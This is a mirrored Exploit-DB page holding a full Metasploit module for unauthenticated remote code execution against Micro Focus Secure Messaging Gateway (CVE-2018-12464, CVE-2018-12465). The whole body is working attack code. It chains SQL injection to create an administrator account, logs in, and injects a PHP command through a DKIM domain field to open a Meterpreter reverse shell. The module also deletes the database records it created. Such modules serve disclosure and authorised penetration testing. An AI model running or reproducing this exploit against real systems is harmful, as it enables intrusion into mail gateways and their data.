Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)

  • 作者: Mehmet Ince
    日期: 2018-07-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45083/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",
    'Description'=> %q{
    This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
    An unauthenticated user can execute a terminal command under the context of the web user.
    
    One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
    which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
    manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
    to access this endpoint without having a valid session.
    
    Combining these vulnerabilities gives the opportunity execute operation system commands under the context
    of the web user.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
    ],
    'References' =>
    [
    ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
    ['CVE', '2018-12464'],
    ['CVE', '2018-12465'],
    ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
    ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
    ],
    'DefaultOptions'=>
    {
    'Payload' => 'php/meterpreter/reverse_tcp',
    'Encoder' => 'php/base64'
    },
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Targets'=> [[ 'Automatic', { }]],
    'Privileged' => false,
    'DisclosureDate' => "Jun 19 2018",
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
    ]
    )
    end
    
    def execute_query(query)
    #
    # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques
    # but since we are able to use stacked-query approach, following form of payload is required in order to be able
    # get back the output of query !
    #
    r = rand_text_alphanumeric(3 + rand(3))
    sql = r
    sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "
    sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "
    sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "
    sql << query
    sql << "; -- "
    sql << r
    
    send_request_cgi(
    'method'=> 'POST',
    'uri' =>normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
    'vars_post' => {
    'appkey' => r
    }
    )
    
    end
    
    def something_went_wrong
    fail_with Failure::Unknown, 'Something went wrong'
    end
    
    def check
    r = rand_text_numeric(15..35)
    res = execute_query("SELECT #{r}")
    unless res
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    end
    unless res.code == 200 && res.body.include?(r)
    return CheckCode::Safe
    end
    CheckCode::Vulnerable
    end
    
    def implant_payload(cookie)
    print_status('Creating a domain record with a malformed DKIM data')
    p = [
    {
    :id => 'temp_0',
    :Description => rand_text_alpha(5),
    :DkimList => [
    {
    :Domain => "$(php -r '#{payload.encoded}')",
    :Selector => '',
    :TempId => 'tempDkim_1'
    }
    ]
    }
    ].to_json
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),
    'cookie' => cookie,
    'vars_get' => {
    'cache' => 0,
    },
    'vars_post' => {
    'StateData' => '[{"ouid":1}]',
    'SaveData' => p
    }
    })
    
    if res && res.code == 200 && res.body.include?('DbNodeId')
    # Defining as global variable since we need to access them later within clean up function.
    begin
    @domainid= JSON.parse(res.body)['Nodes'][0]['DbNodeId']
    @dkimid= JSON.parse(res.body)['Nodes'][1]['DbNodeId']
    rescue => e
    fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
    end
    print_good('Payload is successfully implanted')
    else
    something_went_wrong
    end
    end
    
    def create_user
    # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
    # issue location where requires a valid session !
    print_status('Creating a user with appropriate privileges')
    
    # Defining as global variable since we need to access them later within clean up function.
    @username = rand_text_alpha_lower(5..25)
    @userid = rand_text_numeric(6..8)
    query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"
    
    execute_query(query)
    res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")
    
    if res && res.code == 200 && res.body.include?(@username)
    print_good("User successfully created. Username : #{@username}")
    else
    something_went_wrong
    end
    end
    
    def login
    print_status("Authenticating with created user")
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' =>normalize_uri(target_uri.path, 'security', 'securitygate.php'),
    'vars_post' => {
    'username' => @username,
    'password' => rand_text_alpha_lower(5..25),
    'passwordmandatory' => rand_text_alpha_lower(5..25),
    'LimitInterfaceId' => 1
    }
    )
    if res && res.code == 200 && res.body.include?('/ui/default/index.php')
    print_good('Successfully authenticated')
    cookie = res.get_cookies
    else
    something_went_wrong
    end
    cookie
    end
    
    def exploit
    unless check == CheckCode::Vulnerable
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
    
    create_user
    cookie = login
    implant_payload(cookie)
    
    print_status('Triggering an implanted payload')
    send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
    'cookie' => cookie,
    'vars_get' => {
    'cache' => 0,
    },
    'vars_post' => {
    'DkimRecordId' => @dkimid
    }
    })
    
    end
    
    def on_new_session(session)
    print_status('Cleaning up...')
    cmd = ""
    cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'
    cmd << "DELETE FROM account WHERE loginname ='#{@username}';"
    cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};"
    cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};"
    cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"
    cmd << '"'
    session.shell_command_token(cmd)
    end
    
    end